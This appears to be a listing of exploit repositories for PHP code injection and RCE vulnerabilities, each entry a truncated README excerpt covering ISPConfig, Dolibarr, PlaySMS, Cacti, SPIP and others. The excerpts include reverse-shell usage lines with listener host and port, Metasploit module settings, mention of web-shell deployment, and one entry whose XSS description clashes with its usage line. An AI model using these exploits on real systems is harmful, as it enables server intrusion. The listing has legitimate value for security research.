CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Python script to exploit PlaySMS before 1.4.3 Execution Open a port on your machine: And the execute exploit.py: ./exploit.py Changing the exploit Tou may want to change the reverse shell created by exploit.py To do this, you can change the function createrevshellencoded...

CVE-2023-46818-python-exploit

CVE-2023-46818 exploit This is a python version of the original php script for the vulnerability affecting ispconfig 3.2.11 and previous versions. Original PHP source: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html This proof-of-concept is intended for...

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Description: This repository contains a Proof of Concept PoC exploit for Nortek Linear eMerge E3 CVE-2024-9441, which is vulnerable to Remote Code Execution RCE in a pre-authentication state. The vulnerability is triggered via a flaw in the...

php-jpeg-injector

php-jpeg-injector Inyecta cargas útiles de php en imágenes jpeg. Relacionado con esta publicación. Caso de Uso Tienes una aplicación web que procesa una imagen jpeg a través de la librería gráfica GD de PHP. Descripción Este script inyecta código PHP en una imagen jpeg especificada. La aplicación...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit This is my own exploit for CVE-2023-46818 happy hacking! This exploit automates the attack described in CVE-2023-46818 by taking advantage of a PHP code injection vulnerability in ISPConfig version 3.2.11 and earlier. It logs into the ISPConfig panel using valid credentials...

CVE-2023-46818

CVE-2023-46818 An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled. Usage ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of CVE-2023-46818 ISPConfig = 3.2.11 - Code...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash CVE-2023-46818 Authenticated PHP Code Injection in ISPConfig for more details: advisory CVE-2023-46818 PoC Introduction ISPConfig versions Note: This exploit requires valid ISPConfig admin credentials and will deploy a command web she...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. This was the first publicly-released exploit for CVE-2009-1151. Syntax $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo $ ./phpMyAdminRCE.sh...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 Exploit Script This Python script is designed to test if a Cacti instance is vulnerable to CVE-2024-43363, a Remote Code Execution RCE vulnerability caused by log poisoning. How the Vulnerability Works: Log Poisoning: An attacker injects PHP code into device names,...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

MetInfo CMS <= 8.1 - Remote Code Execution

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests. id: CVE-2026-29014 info: name: MetInfo CMS = 8....

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

POC exploit for Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2023-46818

Metasploit-module Metasploit Module use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language fi...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Introduction ISPConfig versions = 3.2.11 are vulnerable to an authenticated PHP code injection vulnerability via the records parameter in the /admin/languageedit.php endpoint. A malicious authenticated admin user can exploit this to...

CVE-2022-29359

School Club Application System Issue: Unauthenticated Stored Cross-Site Scripting to HTML injection to RCE Author: Zak Clifford Date: 12.04.2022 Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html Software:...

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC Description This is my PoC for the CVE-2023-30253 Dolibarr 17.0.0 PHP Code Injection, when the CMS Website plugin core is enabled, an authenticated attacker can obtain remote command execution via php code injection bypassing the application restrictions...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 Remote Command Execution RCE Exploit This script exploits a Remote Code Execution vulnerability in SPIP version 4.2.8 via the porteplumeprevisu endpoint. The vulnerability allows unauthenticated attackers to inject PHP code through preview rendering of crafted image tag...

CVE-2026-3300

CVE-2026-3300 - Everest Forms Pro Unauthenticated Stored Cross-Site Scripting Quick Usage python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Exploitation Notes Severity: CRITICAL CVSS: 9.8 Impact: Confidentiality, Integrity, Availability Published: 2026-03-31 Technical...

By-Poloss..-..CVE-2017-20251

CVE-2017-20251: Insert PHP Plugin PHP Code Injection Vulnerability Title Unauthenticated PHP Code Injection via Shortcode Processing in Insert PHP Plugin Basic Information Field| Value ---|--- CVE ID| CVE-2017-20251 Plugin| Insert PHP now Woody Code Snippets Affected Versions| 3.3.1 tested on 1.3...

CVE-2025-56399

CVE-2025-56399 – Authenticated Remote Code Execution in laravel-file-manager v3.3.1 🧭 Overview An authenticated Remote Code Execution RCE vulnerability in laravel-file-manager v3.3.1 and below allows attackers with access to the file manager interface to execute arbitrary code on the server. By...